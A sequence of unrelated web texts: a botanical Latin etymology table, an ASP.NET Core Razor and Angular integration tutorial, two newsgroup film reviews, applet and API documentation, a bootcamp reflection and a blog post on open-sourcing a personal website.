| palustris | palustr | adj | paluster marshy, boggy; older Latin texts use paluster for the masculine rather than the contemporary palustris | |
| Dryopteris atropalustris Small | ||||
| atropilosulus atropilosula atropilosulum | dark and somewhat hairy | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| pilosus | pilos | adj | hairy, shaggy | |
| ulus | ul | adj | adjective suffix for adjectives: diminutive | |
| Diplotheca atropilosula Hochst. Astragalus atropilosulus (Hochst.) Bunge | ||||
| atropubescens atropubescens atropubescens | dark becoming hairy | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| pubescens | pubescent | adj | pubesco to reach puberty, become pubescent | |
| Astragalus atropubescens Coult. & Fisher | ||||
| atropunctatus atropunctata atropunctatum | dark spots | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| punctum | punct | noun/n | something that is pricked; a puncture; a spot; a small portion | |
| atus | at | adj | adjectival suffix for nouns: possessive of or likeness of something (with, shaped, made)/ for verb participles: a completed action, -ed | |
| Caesalpinia atropunctata Eifert | ||||
| atropuniceus atropunicea atropuniceum | dark purple | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| puniceus | punice | adj | reddish, purple | |
| atropurpureus atropurpurea atropurpureum | dark purple | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| purpureus | purpure | adj | purple colored | |
| Angelica atropurpurea L. Solanum atropurpureum Schrank Aragallus atropurpureus Rydb. | ||||
| atrorubellus atrorubella atrorubellum | slightly dark red | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| rubellus | rubell | adj | reddish | |
| Crataegus x atrorubella Cinovskis | ||||
| atrorubens atrorubens atrorubens | deep red | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| rubens | rubent | apar | rubeo to be red | |
| Arisaema atrorubens (Ait.) Blume | ||||
| atrosanguineus atrosanguinea atrosanguineum | deep red | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| sanguineus | sanguine | adj | of blood; blood-colored | |
| Malus x atrosanguinea (Spath) C. K. Schneid. Allium atrosanguineum Schrenk Cosmos atrosanguineus (Hook.) Voss | ||||
| atrospermus atrosperma atrospermum | dark seeds | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| sperma | sperm | noun/n | σπερμα seed, germ | |
| us | adj | Latinizing suffix | ||
| Spergularia atrosperma R.P. Rossb. | ||||
| atrosquamus atrosquama atrosquamum | dark scales | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| squama | squam | noun/f | a scale | |
| us | adj | Latinizing suffix | ||
| Carex atrosquama Mack. | ||||
| atrostriatus atrostriata atrostriatum | dark stripes | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| stria | stri | noun/f | furrow, channel | |
| atus | at | adj | adjectival suffix for nouns: possessive of or likeness of something (with, shaped, made)/ for verb participles: a completed action, -ed | |
| Physcia atrostriata Moberg | ||||
| atrosulphureus atrosulphurea atrosulphureum | dark yellow | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| sulphureus | sulphure | adj | sulpherous (also sulfureus) | |
| Lecanora atrosulphurea (Wahlenb.) Ach. | ||||
| atrotegula atrotegulae | dark top | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| tegula | tegul | noun/f | roof tile, tiled roof (usually plural: tegulae) | |
| atroviolaceus atroviolacea atroviolaceum | deep violet | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| viola | viol | noun/f | violet; wall-flower | |
| aceus | ace | adj | adjective suffix for nouns: resembles, of..., ...like, mixture using, fragrance of; borrowed from nouns declined like ...ax, ...acis + eus | |
| Bellevalia atroviolacea Regel Allium atroviolaceum Boiss. Gladiolus atroviolaceus Boiss. | ||||
| atrovirens atrovirens atrovirens | dark green | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| virens | virent | apar | vireo to be green or verdant | |
| Agave atrovirens Karw. ex Salm-Dyck | ||||
| atroviridis atroviridis atroviride | dark green | |||
| ater | atr | adj | black, sable, dark, gloomy (compounds: classical latin atri-; botanical latin atro-) | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| viridis | virid | adj | green | |
| Lecidea atroviridis (Arnold) Th. Fr. | ||||
| atrox atrox atrox | dark | |||
| atrox | atr | adj | dark, gloomy, dreadful; savage, fierce | |
| attenuatus attenuata attenuatum | weak | |||
| attenuatus | attenuat | adj | impaired, week; meager | |
| Aeria attenuata O.F. Cook Piper attenuatum Buch.-Ham. Penstemon attenuatus Dougl. ex Lindl. | ||||
| atticus attica atticum | from Attica, around Athens | |||
| atticus | attic | adj | Atticus Αττικοϛ of or pertaining to Attica, that portion Greece of which Athens was the major city | |
| Poa attica Boiss. & Heldr. Erigeron atticus Vill. | ||||
| attollens attollens attollens | raising | |||
| attollens | attoll | apar | attollo to raise, lift up | |
| Elephantella attollens (Gray) Heller | ||||
| attractus a um | attracted | |||
| attractus | padj | attraho to attract, draw towards | ||
| Rubus attractus Bailey | ||||
| auctus acuta acutum | enlarged | |||
| auctus | acut | padj | augeo to enlarge, increase | |
| Festuca aucta Krecz. & Bobr. | ||||
| aucuparius aucuparia aucuparium | bird catching | |||
| aucuparius | aucupari | ppar | aucupor to catch birds | |
| Sorbus aucuparia L. Sapium aucuparium Jacq., nom. illeg. | ||||
| audax audax audax | bold | |||
| audax | audac | adj | daring, bold; foolhardy | |
| Rubus audax Bailey | ||||
| audens audens audens | daring | |||
| audens | aud | padj | audeo to be bold, daring | |
| augescens augescens augescens | beginng to grow | |||
| augescens | augesc | padj | augesco to begin to grow, increase | |
| Dryopteris augescens (Link) C. Christens. | ||||
| augustus augusta augustum | majestic | |||
| augustus | august | adj | sacred, consecrated, honorable, majestic, august; venerable, noble | |
| Rhopaloblaste augusta (Kurz) H. E. Moore Abroma augustum (L.) L. f. | ||||
| aulacocarpus aulacocarpa aulacocarpum | grooved seed | |||
| aulax | aulac | noun/f | αυλαξ, ακοϛ furrow | |
| o | o | cnct | connective vowel in botanical Latin, usually for Greek words but in some cases, such as color tingeing, for Latin words | |
| carpos | carp | noun/m | καρποϛ fruit | |
| us | adj | Latinizing suffix | ||
| Acacia aulacocarpa A. Cunn. ex Benth. | ||||
| aulicus aulica aulicum | princely | |||
| aulicus | aulic | adj | αυλικοϛ princely | |
| Crataegus aulica Sarg. Hippeastrum aulicum Herb. |


Lets start by creating "Pages" folder in our project (.NET Project) folder, open terminal and navigate to project path, type
`mkdir Pages`(this command will create folder named Pages if you on windows or linux) after thath copy next lines
and paste on console if you in same OS like me or just create by hand same files with same structure in appropriate folder(Pages).
`cd Pages`	⇐	change current directory to Pages
`>> _Layout.cshtml`	⇐	create file(layout for our app) in current directory
`>> _ViewStart.cshtml`	⇐	this determines which page is ours layout by little setting
`>> Index.cshtml`	⇐	page that we will use for injecting bundles and serve from controller on screen
`>> Index.cshtml.cs`	⇐	and this is just code behind file that Razor needs for our test page
Pages structure you should have.
Let's fill these empty files with code and create little alert script that indicate whether our Razor views is rendered as we like.
Open "_Layout.cshtml" page and paste this code snippet.
<!DOCTYPE html>

<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>@ViewData["Title"] - Algodemy</title>

@RenderBody()

© 2018 - Algodemy

@RenderSection("Scripts", required: false)

This snippet had two important lines, first is "@RenderBody()" from there this layout knows where to replace partial views(in our case only "Index.cshtml") and second is "RenderSection('Scripts', required: false)" this section inject all scripts thath partial view use below whole layout because Javascript must be loaded after html elements that used scripts itself.
Next open "_ViewStart.cshtml" and paste.
@{
Layout = "_Layout";
}
This just saying use "_Layout.cshtml" as our main layout.
After that open "Index.cshtml" and insert this code.
@page
@model IndexModel
@namespace Algodemy.Pages
@section Scripts {

}

Hello Elvis index view works!

That says this is Razor page, which use this model, import Pages namespace and use this script("my.js") which has not yet been created.
Next go to "Index.cshtml.cs" file and paste this
using Microsoft.AspNetCore.Mvc.RazorPages;
namespace Algodemy.Pages
{
public class IndexModel : PageModel
{
public void OnGet() { }
}
}
there is no need to be explained in our case because I use this code behind file only for Razor to work as expected, but there is an application if you use Razor in project. If you curious don't worry, I will link all resources below this tutorial which is used for creating it along with Razor documentation.
Our logic leads us to create last testing piece that is "my.js" script which showing popup window with greet message to indicate
everything is wired and works.
Go to "wwwroot" create "js" folder and "my.js" script in folder. This script should has content alert function that is provided by window object.
This is ".js" file and content.
And we must add last two lines of code in our "Startup" class to wire Razor pages with the pipeline request, first line is "services.AddMvc()" in our "ConfigureServices" method that tells .Net Core dependency injection container to serve our service everywhere where we need and next method call is exactly the need itself at the bottom of "Configure" method we paste this "app.UseMvc()", the method make exactly what it's name say namely to use MVC library and use it after all middlewares.
I have selected lines that must be added.
When we are done with this is ready to run server and test everything so far.
Open terminal from Core project folder and type `dotnet run` when .NET start listening go to url in port in my case is 5000 localhost:5000 and we see our content, alert window with message, "my.js" file is on browser and console is clear.
When this is done just go to "wwwroot" and delete whole "js" folder with file that we don't need already.
Let's inject all the bundles angular-cli and Webpack has done for us. And when do this the order in which we include files matters, that's why copy this snippet or include scripts in same order if you don't follow exact.
Open "Index.cshtml" and replace scripts section and everything below with this.
@section Scripts {

}
<app-root></app-root>
And don't forget to change the path if your client app name or typescript setups are different.
The result should be.
These scripts all will be injected below layout body content and "<app-root></app-root>" selector is our template placeholder for Angular "app-component".
If you don't close last used terminal our server still listen for requests but if you not run again `dotnet run` command and navigate to localhost on your used port im my case localhost:5000 and after that you should see Angular is served properly on your browser.
Angular Template and Bundled files
No errors on console
If you do not believe this works open "ClientApp/app/app.component.ts" file then open "Pages/Index.cshtml" and add these changes to see the effect.
First change selector on "app.component.ts" file from "app-root" to "app-root-component" then replace all inline Angular template and paste yours in my case is "Heey this {% verbatim %} {{title}} {% endverbatim %} really works." All changes are selected to see exactly what you should do.
From there open new terminal(I will use again vscode terminal) type `ng build` in core project path to rebundle all changes. As we see on above screen we are done after 6 seconds and if you did not turn off the server just make request to home page and see result.
And we are done, believe or not this is all integration that we need to start building our web application. This is for now and if you have any concerns, questions, opinions or just to correct me leave comment below or contact me on email.
Regards and chao for now :)


| Senior Software Engineer @ Google | Ex-Principal SWE | Ex-SRE | "Efficient Go" O'Reilly Book Author | Thanos co-author | Prometheus maintainer 📈 |
| CNCF TAG Observability Tech Lead | Go & Distributed Systems & Open Source enthusiast | Blogger | Gym 💪🏽 |
{{ end }}


JIMMY HOLLYWOOD A film review by Scott Renshaw Copyright 1994 Scott Renshaw
Starring: Joe Pesci, Christian Slater, Victoria Abril. Screenplay/Director: Barry Levinson.
If there has been one theme one can identify running through the work of director Barry Levinson, it is the search for the American Dream. He brought us the ambitious salesmen of TIN MEN, the optimistic immigrants of AVALON, and the visionary BUGSY, all darkly-tinged stories of guys trying to make their mark and make it big. JIMMY HOLLYWOOD is another such story, but it is lacking something previous Levinson projects had, namely a firm grasp on what the protagonsists' dreams were. There are interesting ideas in the script, and some of the dry humor characteristic of Levinson's dialogue, but it's never all that compelling because the character of Jimmy Alto is too schizophrenic, and with him the tone of the whole film.
JIMMY HOLLYWOOD is the nickname of Jimmy Alto (Joe Pesci), a struggling actor who has gone so far as to buy an advertisement for himself on a bus stop bench. He also adores the Hollywood of the glamorous 1940s and 1950s, and spends afternoons memorizing the stars on the Walk of Fame with addled friend William (Christian Slater). That Hollywood is strongly at odds with the reality Jimmy sees around him, however, and when a couple of crimes hit close to home he decides to do something about it. Along with William, Jimmy catches a thief and turns him in with a note identifying the captors as the "S.O.S." When the public begins expressing appreciation for the vigilantes, Jimmy begins to play the role for all it's worth, to the dismay of long-suffering girlfriend Lorena (Victoria Abril).
At various times, Levinson appears to be trying to tell two different stories through Jimmy. One is about the thankless life of being a struggling actor, including the cattle calls, waiting tables and shameless self-promotion necessary to make it. Jimmy never doubts for a minute that his big break is just around the corner, and when his vigilante persona "Jericho" becomes a media sensation, he is unwilling to give up what he considers "the role of a lifetime." At the same time, Levinson paints a picture of a one-time Tinseltown which has disintegrated into a city of drug deals, homelessness and ATM muggings. What happens is that it is never clear what motivates Jimmy. One moment it appears that he is a starry-eyed altruist who wants only to return Hollywood to its former glory; the next, he is simply a publicity-hungry would-be actor using crime to make a name for himself. The Jimmy who wants to strike fear into the hearts of criminals doesn't gel with the Jimmy who reveals himself for a big send-off. It is typical of Levinson to make his heroes' motives less than completely pure, but in this instance they're simply muddled. It is difficult to care all that much about Jimmy, and it's difficult to figure out whether Levinson wants us to focus on his characters or the setting.
It is also a simple truth that JIMMY HOLLYWOOD was a hard film for me to like. While it has its humorous moments, it's too grim to be a purely entertaining comedy, and it doesn't explore its dark themes deeply enough to be an insightful drama.  When I did find interesting elements, it was more a case of detatched admiration than enjoyment.
Among the objects of admiration were two performances, neither of them Joe Pesci's. Pesci needs to step back from motor-mouthed New Yorkers, because they are all beginning to look the same. His co-stars, however, are quite good. Victoria Abril livens up the token girlfriend role with some strong scenes, particularly a hillside farewell. The big surprise is a funny and affecting Christian Slater, whose forgetful William does the low-key performance in UNTAMED HEART one better. Slater is developing into a complete actor, and his performance here is extremely interesting. Yet perhaps "interesting" is the faint praise with which I ultimately damn JIMMY HOLLYWOOD. I found a number of things in the film interesting. I just found none of them truly engaging.
On the Renshaw scale of 0 to 10 cattle calls: 4.
-- Scott Renshaw Stanford University Office of the General Counsel
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


@()(implicit messages: Messages) @import controllers.web.routes @views.html.web.main(Messages("home.title")) {
There is a problem with the link you clicked on!
The link you used to reach this page is no longer valid. Please re-request the link from our site to try again.


Authors: Eran Socher, Hamid Shannan and Raphael Kastner
Source: FERMAT, Volume 7, Article 2, Jan-Feb., 2015
Abstract: A straightforward application of the Poynting theorem over a closed surface around a receiving antenna shows that the net power exiting the closed surface is related to an illuminated area, which is arbitrarily specified. However, One such specification can be used to define the physical area, as shown below. This definition pertains to both large and small antennas, and has a finite value for wire antennas as well. Correspondingly, the concept of the aperture efficiency can be generalized and not be restricted to aperture antennas only. It is then seen that aperture efficiency determines the fraction of the incident power which is absorbed in the load of a matched receiving antenna, the rest of the power being scattered. For example, when the aperture efficiency tends to unity and the antenna is perfectly matched, then all the received power within the physical aperture as defined above is converted into absorbed power; i.e., the antenna acts as a perfect absorber
Index Terms: Antenna theory, Receiving antennas, Scattered power, Lossy Scatterers.
View PDF
On the Physical Aperture and the Power that Exits a Surface Enclosing a Receiving Antenna


Clock 2.1
Source
Clock.java (the main program), Needle.java (the Needle class)
Supported actions
- mouseEnter
- The message "Who made this clock?" will appear in the status bar
- mouseExit
- The status bar will be blank
- mouseDown
- The browser will load this page
Supported tags
Tags which affect the whole clock
num_lines
Numer of corners in the border around the clock.
Min: 3 Default: 12 Max:1000
sleep
The time (in milliseconds) the applet waits between each update.
Min: 5 Default: 1000 Max:20000
timezone
The GMT timezone that the clock will display (Sweden=1, England=0, Finland=2 etc).
Min: -12 Default: your local timezone Max: 12
If this tag is omitted the clock will display the local timezone.
clock_background_col
The color of the clockbackground.
Default: 207,207,207 (gray)
clock_background_border_col
The color of the border of the clockbackground.
Default: 207,207,207 (gray)
background_col
The color of the background.
Default: 192,192,192 (lightgray)
clock_background_border_col
The color of the border of the background.
Default: 192,192,192 (lightgray)
background_type
The type of the background. 0=The standard polygon with num_lines corners.
1=An centered image (specified with background_image) (gif or jpeg)
2=An centered image on top of a polygon background.
Min: 0 Default: 0 Max:2
background_image
The image which will be displayed as background (.gif or .jpg).
The image will only be displayed if background_type=1 or 2!
Tags which affect each needle
col
The color of the needle.
Default hour_col: 255,0,0 (red) minute_col: 0,255,0 (green) second_col: 0,0,255 (blue)
border_col
The color of the border of the needle.
Default hour_border_col: 0,0,0 (black) minute_border_col: 0,0,0 (black) second_border_col: 0,0,0 (black)
type
The type of the needle. 0=No needle, 1=Triangle, 2=Rectangle, 3=Romb. Default hour_type: 3 minute_type: 3 second_type: 3
width
The width of the needle.
Default hour_width: 7 minute_width: 5 second_width: 3
len
The length of the needle in % of the clock.
Default hour_len: 70 minute_len: 75 second_len: 90
These applets have been written by Nizze


| Overview | Module | Use | Devguide | Index |
| uses of interface XURI |
back to interface XURI |
| Derived Interfaces |
XDocumentMetadataAccess XMetadatable XNamedGraph |
| Services which Support this Interface |
| ::com::sun::star::text::InContentMetadata ::com::sun::star::text::textfield::MetadataField URI |
| Uses as Return Type |
| XDocumentMetadataAccess::addMetadataFile() XNamedGraph::getName() XDocumentMetadataAccess::importMetadataFile() |
| Uses as Data Type |
| Statement::Graph Statement::Predicate |
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


{% extends "horizon/common/_modal_form.html" %} {% load i18n %} {% block modal-body-right %}
{% trans "A Receiver is used to prepare Senlin engine to react to external alarms or events so that a specific Action can be initiated on a senlin cluster automatically. For example, when workload on a cluster climbs high, a receiver can change the size of a specified cluster." %}
{% endblock %}


Deep Impact (1998) * * 1/2 A movie review by Serdar Yegulalp Copyright 1999 by Serdar Yegulalp
"Deep Impact", disaster-season-twin to the wretched "Armageddon", is an absorbing enough movie when it unfolds in front of you. But when it's over, its seams (and there are a lot of them) bulk huge.
I'll be fair. Instead of becoming the comedic macho-porn action-movie cliche that "Armageddon" sunk to, "Deep Impact" tries to deal realistically with the possibility of global annihilation. It falls short, I suspect, because there are far too many times that we are reminded, however quietly, that we are only watching a movie.
"Deep Impact" opens with young Leo Biederman (Elijah Wood) peeking at the heavens through his telescope. There's something up there which doesn't seem to register on the charts, and it takes professional astronomer Marcus Wolf (Charles Martin Smith) to figure out it's a comet on a collision course for Earth. He rushes out the door of the observatory with his data disk in his hand, and then gets himself killed in a crash with a semi. Right off the bat this told me the movie is not above using cheap plot devices to build suspense.
No matter. The movie skips ahead a year, into Plot Thread Two. Not-so- intrepid reporter Jenny *Lerner* (get it?) stumbles across a scandal involving a Presidential cabinet member and what she believes to be a mistress named "Ellie". Lerner is played by Tea Leone as someone who only seems to be about 66% there. Later on, when she's an MSNBC anchor, she's so wooden and lifeless I was waiting for a cane to come from offscreen and yank her out of the chair.
Of course, the scandal is not the news about "Ellie", but "E.L.E.", or an Extinction Level Event -- the aforementioned comet plowing into the earth and decimating life as we know it. In a nice little scene, President Beck (Morgan Freeman) confronts Lerner about the news and forces her to balance her own ego against the welfare of billions. In a movie where a lot of things are not terribly convincing, Freeman is completely convincing as the President, even when he is mouthing platitudes like, "Life will go on; we will prevail," with all the certainty of a man who doesn't want to get caught with his britches down.
When the news finally breaks, the President unveils a plan to send a space probe to the comet and blow it to pieces with nukes (gee, where have we heard that plan before?). This is, of course, Plot Thread Three. The probe, named the Messiah, is piloted by "the last man to walk on the moon", astronaut Spurgeon Tanner (Robert Duvall). There's a moment where Tanner seems to be at odds with his crew -- "They're not afraid of death -- just looking bad on TV" -- but nothing much is made of it; I suspect either the film or the script was originally much longer, and many of the emotional subtexts for such scenes is missing.
This seems to be the heart of the problem with the movie: it doesn't convince us that the planet is really at stake. Sure, there's panic and looting and people boarding up their windows. There's a truly jaw-dropping (unfaked) shot of an interstate highway crammed with refugees. At least we don't get the obligatory shots of the wild-eyed street-corner preacher with the sign reading THE END IS NIGH.
But... somehow... there's an additional emotional level to all of this that seems to be missing. The script tries to make up for it rather ham-handedly through some synthetic heart-tugs. One is Lerner's estranged parents, and another -- so unconvincing it almost sinks the movie singlehandedly -- is Leo and his girlfriend, a plot thread which starts well but rapdily degenerates into something out of "For The Love of Benji", with kids scrambling tearfully through the wilderness on mopeds.
When disaster finally strikes, the movie's messages are even more confused. Are we supposed to sit aghast at the destruction, or point at the screen and go, "Oo, cool! They blew away the Brookyn Bridge!" The effects show at the end belies the movie's intentions -- not because it's there, but because it doesn't know how to show what's going on except in terms of shopworn disaster- movie cliches -- people pointing, screaming, running, buildings falling over, etc. What emotional involvement we've built with the movie is tossed in favor of a money shot; a CGI-driven End Times Porn. And then we get the conclusion, in which the filmmakers cleverly cheat the story and pull not one but two endings out of their hat.
What would have worked here? I'm not sure. Part of the problem is the movie is an uneasy alliance of two stories -- serious studies of human beings faced with hopeless situations like "The Day After" or "The Sacrifice", and spectacle- effects movies like, yes, "Armageddon". Somewhere along the line they should have just picked one track and stuck with it to the bitter end.
Don't get me wrong. This isn't a bad movie. It's professional-looking, relatively well-acted, and fast-moving (courtesy of Mimi Leder's fluid direction). I guess the big problem is that "Armageddon" makes it look like a masterpiece, when it just isn't.
-----------== Posted via Deja News, The Discussion Network ==---------- http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


That I’m very hard on myself very often... that I get frustrated when I cannot solve something and that even tho I think that I’m very aware and that I can control my emotions... those emotions control me very easily when things get shaky.
Values: understanding others values and our own ones could be very helpful to connect with people that we don’t know easily.
Self awareness: knowing that under stressful situations I would behave and react emotionally? And being aware of that and go and meditate? Lol
Empathy: being able to understand what the other person might be going thru emotionally could be very helpful to know what to say or how to act to avoid fights?
I guess the growth and fixed mindset part... Where it says that just by having that idea in your head your learning journey can change drastically... on a good way.
The S1 where we had to do introductions of ourselves and describe strengths and weaknesses and personal values. That’s something that I’ve never though before.
I think that it’s because the school wants to make sure that we are able to tackle interviews and that we are a good fit for a developer teams...
Not at all... I hope that the learning that I’ve been doing in terms of knowing myself will pay off when I need to answer interview questions like the type of ’name your main strength’ lol The daily meditation its helping me to think a bit on a different way and with a different perspective...
I would like to get a job as a full time developer front end... back end... not sure yet tbh... But I do wanna get fully immerse in code to get enough experience to in a year from now be able to move into DevOps.
I guess I discovered that I can get very frustrated when things don’t work the way I want them to... and that affects my mood quite a lot lol.
I guess the challenge for me will be BEING overwhelmed with the amount of work but being OK with being overwhelmed and not letting it drive me crazy lol. I feel that I will be able to adapt quickly to the bootcamp and the amount of work that it will need weekly.
Receiving feedback and not taking it too personal... I would like to improve my public speaking as well
Once I get sucked with something ill spend some time trying to figure it out by myself and If that doesn’t work ill reach out to a peer or a facilitator. I’ll put as much time it takes to finish my part of the job so it doesn’t interfere with other parts of the project. I guess ill be able to respond to this question further on the bootcamp when I get an idea of how its gonna be.


{% extends "_post.html" %}
{% hyde
title: "Going Open Source"
snip: "Why I’m making the code to this website public."
created: 2009-01-13 20:08:56
flattr: true
%}
{% block article %}
Well, I've finally taken the plunge and made this site open source. It's held
in a [Mercurial][] repository, but you can view or download the source code
from without any special tools.
The site was built with the [Django][] framework. If you want to know more
check out the [project page][]. This post isn't going to duplicate what's
there; instead I want to write about why I made the site open source at all.
There are a couple of main reasons, and not *all* of them are selfish!
[Mercurial]: {{links.mercurial}}
[Django]: {{links.django}}
[project page]: /projects/stevelosh-com
I Get More Traffic
------------------
The first reason to make a site open source is to try to get more hits. You
certainly don't *lose* any hits from doing it, and when developers find your
link on places like [DjangoSites][] they might be more inclined to visit if
they knew they could look at the source code later.
You also have the chance to post on [Twitter][], [Tumblr][], or other places
about the source code of the site. Each of those posts can expose more people
to the website. It's easy to overdo this though. I heartily agree with the
sentiments of [howtousetwitterformarketingandpr.com][htutfmapr] on that issue.
Don't worry, I won't be obnoxious about it.
[DjangoSites]: http://djangosites.org/
[Twitter]: http://twitter.com/
[Tumblr]: http://tumblr.com/
[htutfmapr]: http://howtousetwitterformarketingandpr.com
I Can Give Back to the (Programming) Community
----------------------------------------------
Yeah, I know. It sounds cliched, but it's true.
The open source community has produced a *ridiculous* amount of software, some
of which we use every day. Software like [Apache][], [Django][], and countless
others simply wouldn't exist in anything remotely close to their current
forms.
Being able to look at the source code for a particular project can be
extremely helpful to someone trying to learn how to do something similar.
Instead of firing up an email client and sending a message to the creator they
can simply look at how it works themselves. They can download it, tweak it,
break it, and figure out what makes it tick. There's no substitute for that.
I strongly believe that the world would be a better place if everyone shared
their knowledge (in all fields) and we all learned from each other. In some
cases it's simply not practical, but more often than not I think people want
to horde their knowledge and feel superior. Sure, that might be nice for your
ego, but does it really make the world a happier, more beautiful place to
live?
[Apache]: http://apache.org/
I Might Get Free Code!
----------------------
Well, probably not, but who knows? Maybe some developer has a lot of free time
on his or her hands?
Distributed version control systems like [Mercurial][] make it extremely easy
to help out with open source projects. For example, if you were looking
through my code and saw a bug that you wanted to fix, you could do the
following:
* Clone the repository to your own machine. * Fix the bug in that local copy,
committing to your local repository as you go. * Go back to the website and
click the "Pull Request" button. * I review the changes. * If I like them I
press a button to merge them into the main repository.
Once the changes are in the main repository I just run a single script to
redeploy the site as usual and the changes are live. It's really an almost
painless process. Compare that to something like Subversion or (ick) CVS:
* Check out the repository to your own machine.
* Fix the bug in that local copy, without committing (don't mess up!).
* Create a patch using diff or something similar.
* Email me the patch.
* I review the changes.
* If I like them I check out a fresh copy of the repository.
* I apply the patch to this copy.
* I merge the patch back into the main repository.
It's much more difficult because I don't want to just give any anonymous
person commit access to my repository.
It Makes Me Fix My Damn Code
----------------------------
This is probably the most tangible and important benefit of my open sourcing
this site. It forced me to rewrite parts of the code that weren't secure and
do it the right way.
Passwords stored in source control? Yeah, *definitely* a bad thing.

Really, though, the main problem I had was my own procrastination and going
open source was a good nudge. Plus when I start work on another site I'll know
how to do it right the first time.
Aside from major security and privacy issues, it also gives me a big incentive
to clean up my code and make it more elegant. Clean, elegant code makes me
happy. It's less likely to have bugs (because there are fewer places for them
to hide) and it's far easier to maintain in the long run.
It's also simply more fun to read and work with.
You Should Probably Try It
--------------------------
Obviously not all software is appropriate for open sourcing, but if you've got
a pet project that you've been working and you think it might benefit from a
few more sets of eyes, try it!
You don't need to spend money or configure much of anything to share your
code; sites like [BitBucket][] and [GitHub][] offer free hosting and great
interfaces for repositories of open source code.
If you have any questions or comments I'd love to hear them!
[BitBucket]: http://bitbucket.org/
[GitHub]: http://github.com/
{% endblock %}


|
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| PREV NEXT | FRAMES NO FRAMES |
| Packages that use HierarchicalConfiguration.Node | |
|---|---|
| org.apache.commons.configuration | The Configuration main package. |
| org.apache.commons.configuration.plist | Configuration classes supporting NeXT / OpenStep /GNUStep style configuration. |
| Uses of HierarchicalConfiguration.Node in org.apache.commons.configuration |
|---|
| Methods in org.apache.commons.configuration that return HierarchicalConfiguration.Node | |
|---|---|
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.createAddPath(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node root)
Deprecated. Adding new properties is now to a major part delegated to the ExpressionEngine associated with this configuration instance.
This method will no longer be called. Developers who want to modify the
process of adding new properties should consider implementing their own
expression engine. |
protected HierarchicalConfiguration.Node |
XMLConfiguration.createNode(String name)
Creates a new node object. |
protected HierarchicalConfiguration.Node |
SubnodeConfiguration.createNode(String name)
Creates a new node. |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.createNode(String name)
Creates a new Node object with the specified name. |
protected HierarchicalConfiguration.Node |
HierarchicalConfiguration.fetchAddNode(ConfigurationKey.KeyIterator keyIt,
HierarchicalConfiguration.Node startNode)
